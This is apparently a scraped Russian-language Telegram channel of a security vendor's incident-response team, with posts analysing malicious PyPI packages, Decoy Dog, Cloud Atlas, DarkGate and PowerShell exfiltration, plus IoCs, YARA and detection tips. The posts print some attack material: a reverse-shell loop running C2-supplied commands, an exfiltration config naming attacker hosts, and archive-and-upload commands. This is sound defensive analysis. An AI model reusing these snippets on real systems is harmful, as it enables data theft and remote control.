🤨 Добавляете закладки в опенсорс-репозитории? Молодой человек, пройдемте.
В рамках threat intelligence, помимо исследования «традиционных» вредоносных программ, мы также занимаемся поиском закладок в репозитории Python Package Index с помощью сервиса PT PyAnalysis.
Тенденция такова, что не проходит и недели без троянов☕️ . При этом злоумышленники загружают не только полнофункциональные инфостилеры, но и свои маленькие пробы пера.
PT PyAnalysis очернил проекты нескольких разработчиков за последние дни, расскажем о самых интересных поделках:
🤔 Скрины 1, 2. Кампания с Android-стилером, содержащим арабские комментарии. Он отправляет файлы через телеграм-бот (как их детектить в сетевом трафике своей инфраструктуры мы писали здесь), токен которого вшит в коде. Пакеты имеют название вида
🤔 Скрин 3. Серия клипперов (троянов, ворующих данные из буфера обмена — clipboard), косящих под проверки лицензии. Закрепляются на устройствах под управлением Windows, добавляя запись автозагрузки в реестр. Слушают буфер обмена каждую секунду, в случае изменений отправляют данные в дискорд-канал. Пакеты имеют названия вида
🤔 Скрины 4, 5. Стилер, обходящий диски в поисках файлов
Уведомили Python Package Index, пакеты выпилены👋
Несмотря на то, что названия этих пакетов выглядят незамысловато и вряд ли вы опечатаетесь, написав❤️
#ti #stealer #pypi #pyanalysis
@ptescalator
В рамках threat intelligence, помимо исследования «традиционных» вредоносных программ, мы также занимаемся поиском закладок в репозитории Python Package Index с помощью сервиса PT PyAnalysis.
Тенденция такова, что не проходит и недели без троянов
PT PyAnalysis очернил проекты нескольких разработчиков за последние дни, расскажем о самых интересных поделках:
raquest, ebell.testjsonn1, testjson2, gentorqkkh..env, добывающий ключи SSH из стандартных путей и отправляющий все добро на сервер злоумышленника с помощью утилиты curl. Имеет логику, зависящую от целевой платформы: отдельную — для Windows, отдельную — для Linux и MacOS. Пакет: popeye-pip-v3. Имя разработчика говорит само за себя: shyam_the_hacker.Уведомили Python Package Index, пакеты выпилены
Несмотря на то, что названия этих пакетов выглядят незамысловато и вряд ли вы опечатаетесь, написав
raquest вместо requests, такие пакеты могут попасть к вам через транзитивные зависимости. Построение внутреннего защищенного зеркала — сложный, но жизненно важный элемент для обеспечения современной безопасной разработки #ti #stealer #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍6❤3
В начале 2024 года наша команда выявила применение ВПО Cobint в инфраструктуре заказчиков 🥷
Это ВПО активно использует группировка (Ex)Cobalt при атаках на российские компании (прочитать подробнее о Cobint можно в нашем блоге: здесь и здесь).
В атаках использовался специфический Powershell-загрузчик, который распаковывал и выполнял полезную нагрузку в памяти, а также загружал следующий стейдж с C2-сервера.
Интересная особенность загрузчика — использование Windows API функции InternetReadFile для загрузки стейджа с C2-сервера, вследствие чего зашифрованный стейдж может оставаться в кэше Internet Explorer, который располагается по пути:
Зачастую ВПО запускается под учетными данными System или NetworkService, в этом случае индикатором может служить появление в кэше соответствующих пользователей файлов с длинными рандомными именами, например:
Анализ ВПО Cobint, полезные фишки, а также способы автоматизации расшифровки полезной нагрузки — ищите в статье на «xakep.ru».
#detect #malware #dfir #cobint #excobalt
@ptescalator
Это ВПО активно использует группировка (Ex)Cobalt при атаках на российские компании (прочитать подробнее о Cobint можно в нашем блоге: здесь и здесь).
В атаках использовался специфический Powershell-загрузчик, который распаковывал и выполнял полезную нагрузку в памяти, а также загружал следующий стейдж с C2-сервера.
Интересная особенность загрузчика — использование Windows API функции InternetReadFile для загрузки стейджа с C2-сервера, вследствие чего зашифрованный стейдж может оставаться в кэше Internet Explorer, который располагается по пути:
\%User%\AppData\Local\Microsoft\Windows\InetCache\IE\
Зачастую ВПО запускается под учетными данными System или NetworkService, в этом случае индикатором может служить появление в кэше соответствующих пользователей файлов с длинными рандомными именами, например:
\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\IE\adubiyzhofbsewzzvbyesa[1]
\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\kmduvjhwxevabeyuzafwe[1]
Анализ ВПО Cobint, полезные фишки, а также способы автоматизации расшифровки полезной нагрузки — ищите в статье на «xakep.ru».
#detect #malware #dfir #cobint #excobalt
@ptescalator
🔥8👍5👏1😢1🐳1
Про деятельность Hellhounds мы уже рассказывали в статьях «Операция Lahat» и «Операция Lahat. Часть 2».
В ходе расследования инцидента в IT-компании внимательный администратор заметил на одном из продакшн-серверов процесс, который коннектился к нехарактерному для инфраструктуры IP-адресу —
185.104.106.147.udevd 24429 root 9u IPv4 1081871629 0t0 TCP example.com:15777->185.104.106.147:9443 (ESTABLISHED)
Беглый анализ артефактов на узле и самого процесса из юзерспейса не принес результатов, после чего было принято решение дополнительно запросить дамп оперативной памяти.
Для снятия дампа мы выбрали утилиту AVML, а для анализа — модули linux.malfind.Malfind, linux.proc.Maps и linux.pslist.PsList. Нам удалось обнаружить регионы памяти, которые имеют права на выполнение кода, не маппятся на конкретный файл в системе и содержат исполняемый ELF-файл.
DEBUG
volatility3.plugins.linux.malfind: Injections : processing PID 24429 : VMA Anonymous Mapping : 0x55cc7566b000-0x55cc75685000
24429 udevd 0x55cc7566b000 0x55cc75685000 r-x
7f 45 4c 46 02 01 01 00 .ELF....
Процесс udevd, вероятно, легитимен, но его область памяти была перезаписана и содержала код
Decoy Dog (Pupy RAT). На момент анализа в файловой системе отсутствовали персисты и сами файлы бэкдора. Таким образом, Decoy Dog работал только в оперативной памяти.В новой версии злоумышленники добавили скриплет
dumbexec — простейший шелл, слушающий порт 39339.Кроме того, в одном из конфигурационных файлов злоумышленники использовали порт 31337, что является очередной отсылкой к
eleet:
{'debug': False, 'launcher': 'bind', 'launcher_args': ['-t', 'rsa', '0.0.0.0:31337'], 'delays': [(10, 5, 10), (50, 30, 50), (-1, 150, 300)]...
Интересно еще и то, что для генерации доменов (DGA) используются не только DDNS-сервисы, но и домен верхнего уровня
.info. Применяется новый лончер l4beacon, который маскирует трафик под UDP (или под TCP, ICMP):
{'debug': False, 'launcher': 'l4beacon', 'launcher_args': ['-p', '161', '-s', 'udp', '--domain', [REDACTED], '-E', 'zzux.com,mooo.com,info'], 'delays': [(10, 5, 10), (50, 30, 50), (-1, 150, 300)]}
Кроме того, в новой версии появилось шифрование конфигурации, содержащей параметры сетевого взаимодействия, ключи и сертификаты:
{'debug': False, 'cid': [REDACTED], 'bound': True, 'data': [REDACTED], 'tmpk': b'gFwpC9rCRmSNjHmvjs+3kB4HD22LGmFgs1BSSvc68fzMQiPcNXchPWYEpjQMYB56'}
Если установлен флаг
bound, то в data находится остальная часть конфигурации, зашифрованная криптоалгоритмом ChaCha20, а ключ генерируется на основе идентификатора системы. Кроме того, появился ключ
tmpk, который используется для шифрования данных о системе, отправляемых скриплетом telemetry. Ранее для этого использовался тот же ключ, с помощью которого расшифровывался файл динамической конфигурации.YARA-правило:
rule PTESC_apt_mem_ZZ_DecoyDog__Backdoor{
strings:
$p1 = "pupy://"
$p2 = "--pass-args"
$p3 = "LZMA error"
$p4 = "/__init__.pyo"
$pupy = "pupy"
condition:
all of ($p*) and #pupy >= 2
}
IoCs:
185.104.106.147:9443
0.0.0.0:31337
0.0.0.0:39339
mindly.social
*.zzux.com (DGA)
*.mooo.com (DGA)
#hunt #detect #dfir #hellhounds
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥18👍10❤6🙈1
Эксфильтрация в промышленных масштабах 😐
APT-группировка Cloud Atlas атакует российские компании с 2019 года, занимается шпионажем и кражей конфиденциальной информации.
Расследуя очередной инцидент, связанный с деятельностью APT-группировки, команда PT ESC обнаружила Python-скрипт (VirusTotal 0/66) для массовой централизованной (по протоколу SMB) эксфильтрации данных из инфраструктуры жертвы.
Скрипт с именем v.3 запускался через механизм задач Windows:
Для корректной работы атакующие использовали в системе интерпретатор Python (SecuritySystrayw.exe) и архиватор 7-Zip. Конфигурационный файл loc закодирован с помощью алгоритма XOR с ключом 27. Файл sys содержал список IP-адресов, к которым подключались злоумышленники по протоколу SMB для поиска и сбора файлов по определенным параметрам.
Пример расшифрованной конфигурации:
Конфигурация содержит параметры файлов, которые были интересны злоумышленникам, — списки расширений, директорий, размеров файлов. Перед отправкой собранные данные предварительно помещаются в архив с паролем.
Эксфильтрация данных осуществлялась по протоколу WebDAV на сервис OpenDrive или методом POST на управляющий сервер. Помимо этого, нам удалось выявить, что атакующие начали использовать сервис MEGA.
IoCs:
Happy hunting! 🎯
#dfir #hunt #detect #win #ioc #apt
@ptescalator
APT-группировка Cloud Atlas атакует российские компании с 2019 года, занимается шпионажем и кражей конфиденциальной информации.
Расследуя очередной инцидент, связанный с деятельностью APT-группировки, команда PT ESC обнаружила Python-скрипт (VirusTotal 0/66) для массовой централизованной (по протоколу SMB) эксфильтрации данных из инфраструктуры жертвы.
Скрипт с именем v.3 запускался через механизм задач Windows:
C:\ProgramData\WindowsDefender\Update\SecuritySystrayw.exe C:\ProgramData\WindowsDefender\Update\v.3 -ip C:\ProgramData\WindowsDefender\Update\sys -c C:\ProgramData\WindowsDefender\Update\loc -A
Для корректной работы атакующие использовали в системе интерпретатор Python (SecuritySystrayw.exe) и архиватор 7-Zip. Конфигурационный файл loc закодирован с помощью алгоритма XOR с ключом 27. Файл sys содержал список IP-адресов, к которым подключались злоумышленники по протоколу SMB для поиска и сбора файлов по определенным параметрам.
Пример расшифрованной конфигурации:
{'USERCAT': True, 'USERCAT_DOWNLOAD': True, 'DEEP_SHARECAT': True, 'SHARECAT_DOWNLOAD': True, 'NEED_SAVE_CATS': False, 'remote_port': '445', 'username': [REDACTED], 'password': [REDACTED], 'my_name': [REDACTED], 'domain': [REDACTED], 'max_size_file': '2100000', 'min_size_file': '10', 'size_archive': '9242660', 'deep': '6', 'format_file': ['doc', 'docx', 'pdf', 'xls', 'rtf', 'xlsx', 'txt', 'zip', 'rar'], 'days': '1', 'host': 'https://update-version.net/pousowdie/alectoromancy/xenoblast/nadirwere/kamalbaka/shellprog/reverbed/saledroid.dotm/2', 'key': [REDACTED], 'wd': [{'wd_host': 'https://webdav.opendrive.com/', 'wd_login': [REDACTED], 'wd_password': [REDACTED], 'wd_work': True}], 'no_need_list': ['.', '..', 'desktop.ini', 'ADMIN$', 'IPC$', 'Default', 'All Users', 'Default User', 'Public', 'Microsoft', 'Windows', 'AppData', 'Application Data', 'Local Settings', 'Все пользователи'], 'need_folders': ['Downloads', 'Desktop', 'Documents']}
Конфигурация содержит параметры файлов, которые были интересны злоумышленникам, — списки расширений, директорий, размеров файлов. Перед отправкой собранные данные предварительно помещаются в архив с паролем.
command = f'{os.path.join(pfile, "7z.exe")} a "{os.path.join(pfile, "archiv_results", name)}" "{pfile}\\.\\temp\\*" -p{key} -mhe -sdel'
Эксфильтрация данных осуществлялась по протоколу WebDAV на сервис OpenDrive или методом POST на управляющий сервер. Помимо этого, нам удалось выявить, что атакующие начали использовать сервис MEGA.
IoCs:
164.25.54.22
update-version.net
webdav.opendrive.com
api.mega.co.nz
Happy hunting! 🎯
#dfir #hunt #detect #win #ioc #apt
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍6❤4✍2😱1
⛩ Злоумышленники ищут новые способы «открыть ворота»
Недавно мы обнаружили необычную схему атаки. Злоумышленники сначала устанавливают контакт с жертвой, усыпляют ее бдительность, представляясь некоей заинтересованной компанией, а после получения ответа отправляют цели ожидаемое ей вредоносное вложение.
Срочность открытия вложения обозначается неявно: например, отправитель уходит в отпуск и нужно сегодня подготовить коммерческое предложение, а для этого необходимо открыть вложение.
Киберпреступники работают в часовом поясе между UTC−4 и UTC+4 и владеют русским языком. Видно, что текст набирался вручную, без переводчика, поэтому там есть опечатка.
👉 Интересен также и выбор жертвы. Сейчас как никогда актуально импортозамещение — существует большое количество запросов к дистрибьюторам отечественного ПО. Взлом подобных организаций может открыть путь ко множеству других компаний, в том числе и в критически важных областях, через атаки типа trusted relationship.
В указанном случае злоумышленники представились компанией «Промышленная автоматизация» и использовали домен
К письму был приложен архив Promautomatic.zip, который содержит DOCX-документ Kartochka_Promautomatic.docx (карточку компании) и исполняемый файл:
Файл является бэкдором DarkGate, обычно используемым для кражи конфиденциальной информации и получения удаленного доступа к системе. DarkGate распространяется по модели malware as a service, поэтому идентифицировать злоумышленников затруднительно.
Атакующие использовали управляющий символ RTLO (Right-To-Left Override) для того, чтобы изменить порядок следования последних знаков:
Таким образом, у жертвы создается ощущение, что это PDF-документ, а не исполняемый файл.
IoCs:
#TI #DarkGate #Phishing
@ptescalator
Недавно мы обнаружили необычную схему атаки. Злоумышленники сначала устанавливают контакт с жертвой, усыпляют ее бдительность, представляясь некоей заинтересованной компанией, а после получения ответа отправляют цели ожидаемое ей вредоносное вложение.
Срочность открытия вложения обозначается неявно: например, отправитель уходит в отпуск и нужно сегодня подготовить коммерческое предложение, а для этого необходимо открыть вложение.
Киберпреступники работают в часовом поясе между UTC−4 и UTC+4 и владеют русским языком. Видно, что текст набирался вручную, без переводчика, поэтому там есть опечатка.
👉 Интересен также и выбор жертвы. Сейчас как никогда актуально импортозамещение — существует большое количество запросов к дистрибьюторам отечественного ПО. Взлом подобных организаций может открыть путь ко множеству других компаний, в том числе и в критически важных областях, через атаки типа trusted relationship.
В указанном случае злоумышленники представились компанией «Промышленная автоматизация» и использовали домен
promautomautic.ru. Он отличается от реального всего одной буквой и был зарегистрирован незадолго до атаки.К письму был приложен архив Promautomatic.zip, который содержит DOCX-документ Kartochka_Promautomatic.docx (карточку компании) и исполняемый файл:
Scan_Promautomatic_P7_Office_241_06_13.06.2024_ann←fdp.exe
Файл является бэкдором DarkGate, обычно используемым для кражи конфиденциальной информации и получения удаленного доступа к системе. DarkGate распространяется по модели malware as a service, поэтому идентифицировать злоумышленников затруднительно.
Атакующие использовали управляющий символ RTLO (Right-To-Left Override) для того, чтобы изменить порядок следования последних знаков:
Scan_Promautomatic_P7_Office_241_06_13.06.2024_annexe.pdfТаким образом, у жертвы создается ощущение, что это PDF-документ, а не исполняемый файл.
IoCs:
promautomautic.ru
45.151.62.66
f81593ac3586e61eb9ee1b332eca2afc
5d586682ff20db587d991716dafa0b231ed7b2f8
f127c29f095f1771c6afc476e4b3adf3442d7f014f39cc47875226f651d64c92
35bd6ff114bbaeaa1b8f959e00042a33
00da82325086c940306d9df23fb8f8d09e044290
70afae352a5f8b2aaab952f2e702aac2fd0b4e38781f3a778b1756e67f779d54
#TI #DarkGate #Phishing
@ptescalator
🔥14🫡8👍6💔1
ℹ️ Эксфильтрация с помощью Powershell/C#
В процессе расследования инцидента при анализе журналов событий Windows на одном из скомпрометированных узлов мы обнаружили факт выполнения скрипта PowerShell, осуществляющего эксфильтрацию чувствительных файлов с сетевых папок на подконтрольный злоумышленникам сервер🧐
Необходимая сетевая папка подключается командлетом
Программа на C# рекурсивно перебирает файлы, расположенные в заданной и во вложенных папках, и выгружает на подконтрольный веб-сервер те из них, для которых выполняются следующие условия:
• размер не превышает 750 000 байт.
• последняя модификация файла была не позже чем 130 дней назад.
📑 В процессе перебора информация записывается в
Содержимое каждого из файлов, соответствующих описанным выше условиям, отправляется POST-запросом на веб-сервер злоумышленников в формате
В параметр
После обработки и выгрузки всех файлов на сервер выгружается также и файл
🔦 В обнаружении подобной активности может помочь анализ следующих событий журналов безопасности Windows:
1️⃣ Sysmon event ID 11: создание файлов в пользовательской папке
2️⃣ Sysmon event ID 3: сетевые соединения от имени процесса
3️⃣ Security event ID 4656, 4663: запрос дескриптора и получение доступа к файлам в сетевой папке процессом
4️⃣ Windows PowerShell event ID 800 и Microsoft-Windows-PowerShell/Operational event ID 4103, 4104, содержащие характерные для скрипта строки. В частности, названия переменных и методов, определенных в коде:
💡 Индикатором возможной вредоносной активности также служит наличие в сетевом трафике большого количества HTTP-запросов методом POST, URL которых содержат фрагменты, закодированные Base64.
👉 SIGMA-правило
IoC:
#detect #dfir #PowerShell #win
@ptescalator
В процессе расследования инцидента при анализе журналов событий Windows на одном из скомпрометированных узлов мы обнаружили факт выполнения скрипта PowerShell, осуществляющего эксфильтрацию чувствительных файлов с сетевых папок на подконтрольный злоумышленникам сервер
Необходимая сетевая папка подключается командлетом
New-SmbMapping, используются учетные данные, скомпрометированные на одном из предыдущих этапов атаки. После выполняется код на языке C#, определенный внутри PowerShell-скрипта и содержащий основную логику выгрузки файлов.Программа на C# рекурсивно перебирает файлы, расположенные в заданной и во вложенных папках, и выгружает на подконтрольный веб-сервер те из них, для которых выполняются следующие условия:
• размер не превышает 750 000 байт.
• последняя модификация файла была не позже чем 130 дней назад.
📑 В процессе перебора информация записывается в
%APPDATA%\tree.ini с указанием полного пути к файлам, их размеров в байтах, даты последней модификации и даты последнего доступа к ним.Содержимое каждого из файлов, соответствующих описанным выше условиям, отправляется POST-запросом на веб-сервер злоумышленников в формате
multipart/form-data частями по 16 384 байта.В параметр
filename передается идентификатор файла, который представляет собой закодированную Base64 строку формата:
fullpath&&last_write_time&&file_size&&host_name&¤t_user&&drive_serial_number
После обработки и выгрузки всех файлов на сервер выгружается также и файл
tree.ini, после чего удаляется из системы.🔦 В обнаружении подобной активности может помочь анализ следующих событий журналов безопасности Windows:
1️⃣ Sysmon event ID 11: создание файлов в пользовательской папке
%AppData% от имени процесса powershell.exe. В нашем случае создаются файлы с именами, определенными в коде: tree.ini, profiles_int.ini (БД, в которую записываются хеш-суммы MD5 идентификаторов файлов), sys_error.log и sys_error_ps.log (файлы журналов).2️⃣ Sysmon event ID 3: сетевые соединения от имени процесса
powershell.exe к узлам внутренней сети по порту 445 TCP.3️⃣ Security event ID 4656, 4663: запрос дескриптора и получение доступа к файлам в сетевой папке процессом
powershell.exe.4️⃣ Windows PowerShell event ID 800 и Microsoft-Windows-PowerShell/Operational event ID 4103, 4104, содержащие характерные для скрипта строки. В частности, названия переменных и методов, определенных в коде:
C#: ___directoriesToUpload___, ___fileBase64Id___, ___WritePartInfo, ___SendTreeFileAndTryRemove
💡 Индикатором возможной вредоносной активности также служит наличие в сетевом трафике большого количества HTTP-запросов методом POST, URL которых содержат фрагменты, закодированные Base64.
👉 SIGMA-правило
IoC:
94.158.247.19
#detect #dfir #PowerShell #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7👍3🆒2
Этот артефакт представляет собой базу данных (
reports.db), в которой хранятся сведения о работе приложений, в том числе о файлах и веб-ресурсах, с которыми взаимодействовал тот или иной процесс.
{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"\\\\10.50.1.39\\E$\\Очень важные документы\\отчет.xlsx//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}
{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"https://94.158.247.19/files/upload/4c3df659-4299-4f3d-a159-5cca5215f74f///WREQ//XFwxMC40MC4xMC4zNFxFJFzQntGH0LXQvdGMINCy0LDQttC90YvQtSDQtNC+0LrRg9C80LXQvdGC0Ytc0L7RgtGH0LXRgi54bHN4JiYyOC4wMi4yMDI0IDc6NDI6MTImJjM2NzQyJiZWTTAwMSYmYWRtaW4mJkRGNDUzNjI0//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}
Приведенные выше события, полученные после парсинга базы данных одним из наших инструментов, свидетельствуют о факте доступа процесса
powershell.exe к документу в сетевой папке и к веб-странице.🖥 URL, отраженный в поле
object.directory, имеет следующий формат:
ip_address/files/upload/guid///WREQ//base64_id//
🧑💻 После декодирования из Base64 получим следующую строку:
\\10.40.10.34\E$\Очень важные документы\отчет.xlsx&&28.02.2024 7:42:12&&36742&&VM001&&admin&&DF453624
Запрос эксфильтрации содержит разделенные двойным амперсандом путь к файлу, дату модификации, размер файла в байтах, имя узла, имя пользователя и серийный номер жесткого диска.
Таким образом,
reports.db — прекрасный источник данных, в котором можно найти:• факты применения этого скрипта для эксфильтрации;
• перечень выгруженных ресурсов;
• учетную запись, под которой велась хакерская активность.
#detect #dfir #PowerShell #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍5👏3👀2
Товарищи защитники, где вы ждете пятничные инциденты?
Anonymous Poll
17%
В баре 🍺
22%
Дома 🏠
3%
В офисе 🏢
2%
За рулем 🚘
2%
В сауне 🧖♂️
5%
На Бали 🏖
9%
В интерфейсе SIEM 👨💻
5%
В консоли Kali 🖕
18%
Не ждем 😒
17%
Выключил инфру и не жду 😏
😁13
Где искать сетевые индикаторы компрометации на Windows? Например, в кэше DNS 💡
Кэш DNS — механизм кэширования записей соответствия доменных имен IP-адресам (и не только). Он нужен для того, чтобы система каждый раз не обращалась к DNS-серверам за этой информацией. Посмотреть содержимое кэша можно с помощью команды
У каждой DNS-записи есть параметр TTL (time to live), который определяет, как долго запись остается действительной. По истечении TTL запись «протухает» — и система вновь вынуждена запрашивать данные у DNS-сервера.
Windows хранит перечень кэшированных доменов в виде связного списка, а запрос содержимого кэша состоит из двух этапов: на первом этапе с помощью системного вызова
😐 Здесь-то и кроется подвох. Если домен содержится в списке кэшированных, а его TTL истекло, то команда
Чтобы получить полный список кэшированных доменов (даже «протухших»), можно использовать вызов
Попробуйте выполнить этот скрипт, а потом сравните с результатами вызова
Happy hunting!
#tips #hunting #win #dfir #dotnet #triage
@ptescalator
Кэш DNS — механизм кэширования записей соответствия доменных имен IP-адресам (и не только). Он нужен для того, чтобы система каждый раз не обращалась к DNS-серверам за этой информацией. Посмотреть содержимое кэша можно с помощью команды
ipconfig /displaydns, но не спешите это делать.У каждой DNS-записи есть параметр TTL (time to live), который определяет, как долго запись остается действительной. По истечении TTL запись «протухает» — и система вновь вынуждена запрашивать данные у DNS-сервера.
Windows хранит перечень кэшированных доменов в виде связного списка, а запрос содержимого кэша состоит из двух этапов: на первом этапе с помощью системного вызова
DnsGetCacheDataTable формируется полный список кэшированных доменов, затем для каждого домена из списка происходит резолв из кэша с помощью системного вызова DnsQuery с флагом DNS_QUERY_NO_WIRE_QUERY. Таким образом для каждого кэшированного домена из кэша извлекаются соответствующие ресурсные записи: A, AAAA, TXT и так далее.ipconfig /displaydns не только не покажет такой домен в списке, но и удалит его из списка кэшированных доменов, тем самым уничтожив потенциальные улики.Чтобы получить полный список кэшированных доменов (даже «протухших»), можно использовать вызов
DnsGetCacheDataTable. Ниже приведен скрипт для PowerShell, реализующий эту функцию:
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
namespace DnsCache
{
[StructLayout(LayoutKind.Sequential)]
public struct DnsCacheEntry
{
public IntPtr PNext;
public IntPtr Name;
public ushort Type;
public ushort DataLength;
public uint Flags;
}
public class Program
{
[DllImport("dnsapi.dll")]
public static extern void DnsGetCacheDataTable(ref DnsCacheEntry entry);
public static void GetCache()
{
DnsCacheEntry a = new DnsCacheEntry();
DnsGetCacheDataTable(ref a);
while (true)
{
Console.WriteLine("RR name: {0}", Marshal.PtrToStringAuto(a.Name));
if (a.PNext == IntPtr.Zero) break;
a = Marshal.PtrToStructure<DnsCacheEntry>(a.PNext);
}
}
}
}
"@
[DnsCache.Program]::GetCache()
Попробуйте выполнить этот скрипт, а потом сравните с результатами вызова
ipconfig /displaydns (именно в таком порядке).Happy hunting!
#tips #hunting #win #dfir #dotnet #triage
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥29👍6❤3💯2👀2
!!р^д**н**c 🤔
Характерным примером того, как злоумышленники используют актуальные события для распространения вредоносных программ, может послужить обнаруженный нами вредоносный документ.
Он содержит текст муниципального правового акта, который не отображается корректно, в связи с чем пользователя побуждают «Включить содержимое» и разрешить таким образом выполнение встроенного в документ макроса.
Встроенный макрос приводит документ к читаемому виду путем простой замены комбинаций символов на буквы (
Полезная нагрузка находится в содержимом документа после строки
•
•
Команды передаются в формате XML и содержат несколько атрибутов:
•
•
•
Для блокировки автоматического выполнения макросов можно воспользоваться руководством от Microsoft.
IoCs:
#malware #news #detect #ti
@ptescalator
Характерным примером того, как злоумышленники используют актуальные события для распространения вредоносных программ, может послужить обнаруженный нами вредоносный документ.
Он содержит текст муниципального правового акта, который не отображается корректно, в связи с чем пользователя побуждают «Включить содержимое» и разрешить таким образом выполнение встроенного в документ макроса.
Встроенный макрос приводит документ к читаемому виду путем простой замены комбинаций символов на буквы (
;; → у ; ** → o ; ?? → a и т. д.), а также извлекает и закрепляет в автозагрузке полезную нагрузку — достаточно простой реверс-шелл — в виде PowerShell-скрипта. Полезная нагрузка находится в содержимом документа после строки
DigitalRSASignature и состоит из двух частей, закодированных в Base64 и разделенных строкой CHECKSUM — <part1>CHECKSUM<part2>, которые декодируются и записываются в файлы:•
<part1> -> %USERPROFILE%\\UserCache.ini.hta •
<part2> -> %USERPROFILE%\\UserCache.iniUserCache.ini.hta прописывается макросом в автозапуск Windows Explorer через ключ реестра HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LOAD. Назначение данного файла — запустить исполнение файла UserCache.ini.UserCache.ini представляет собой легковесный реверс-шелл, который использует узел 94.103.85.47 (Vdsina, Moscow) как управляющий сервер. Данный инструмент получает и выполняет набор команд с https://94.103.85.47:80/api/texts/<client_id>, где <client_id> = <имя компьютера>_<имя пользователя>_<серийник тома жесткого диска>.Команды передаются в формате XML и содержат несколько атрибутов:
•
CountRuns — сколько раз нужно выполнить команду;•
Interval — интервал ожидания в минутах между последовательными выполнениями одной команды;•
Module — закодированная в Base64 команда.
...
try {
$Commands = [xml]$Configs;
$cycle_num = 0;
while($true){
$num_commands_completely_executed = 0;
$num_commands_executed = 0;
foreach ($CommandConfig in $Commands.Configs.Config)
{
$num_commands_executed += 1;
$quot = [int][Math]::Floor( $cycle_num / [int]$CommandConfig.Interval);
$rem = [int][Math]::Floor( $cycle_num % [int]$CommandConfig.Interval);
if($quot -lt [int]$Command.CountRuns -and $rem -eq 0){
$command_expr = FromBase64 $CommandConfig.Module;
try{
Invoke-Expression($command_expr);
}
catch {}
}
if(([int]$CommandConfig.Interval * [int]$CommandConfig.CountRuns) -lt [int]$cycle_num){
$num_commands_completely_executed += 1;
}
}
Start-Sleep 60;
if([int]$num_commands_completely_executed -eq [int]$num_commands_executed){
break;
}
$cycle_num += 1;
}
}
catch {}
...
Для блокировки автоматического выполнения макросов можно воспользоваться руководством от Microsoft.
IoCs:
Постановление_по_ГО_updated.doc
13252199b18d5257a60f57de95d8c6be7d7973df7f957bca8c2f31e15fcc947b
UserCache.ini.hta
e80e0b57cf3f304cb7d6dba4b0bb65da18f4d32770a3d6f3780fdab12d2617c9
UserCache.ini
ccff23a8f7c510b49264cdacf9ab6b43e9be0671670ce2eec75851920e6378b7
94.103.85.47
#malware #news #detect #ti
@ptescalator
🔥23🤯5✍4👍4👀2